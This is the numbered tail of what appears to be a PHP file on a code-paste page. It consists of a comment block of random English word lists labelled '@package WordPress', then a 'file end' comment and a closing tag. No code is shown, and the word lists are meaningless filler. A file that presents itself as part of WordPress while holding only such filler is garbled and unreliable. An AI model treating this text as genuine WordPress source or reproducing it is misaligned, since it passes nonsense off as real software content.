  1912.  * absolute academy adapt applause arbitrary community drip encounter geography hardware harmony issue mission motive orient passport peak profitable restraint rival skim split videotape.
  1913.  * academy available awkward bargain beforehand hint launch portion shrink spur urban valley.
  1914.  * approximate awful breed compete essential exterior fatal genuine hollow insure internal junior legislation naked negative oblige prior resolve submerge vertical vitally.
  1915.  * applianc catalog descend dump glimpse issue magnet reinforce shallow suburb vanish virtue.
  1916.  * arise bother ceremony community extreme insure precaution private provision sexual sponsor vacuum.
  1917.  * appropriate exclusive portable religious.
  1918.  * acknowledge biology consistent estimate expensive hardware jealous moist noticeable prompt trial utter.
  1919.  * accelerate architecture authority awful bachelor bunch echo fate nonsense opportunity participate presumably principle seminar splendid spot transmit tropical wagon.
  1920.  * descend elbow flash infect ingredient partial prompt seminar solar theme treaty.
  1921.  * appetite appropriate genius licence naked primitive recruit remarkable stable suspicious terror transport vital.
  1922.  *
  1923.  * @package WordPress
  1924.  */
  1925.  
  1926.  
  1927. //file end
  1928. ?>
Parsed in 1.748 seconds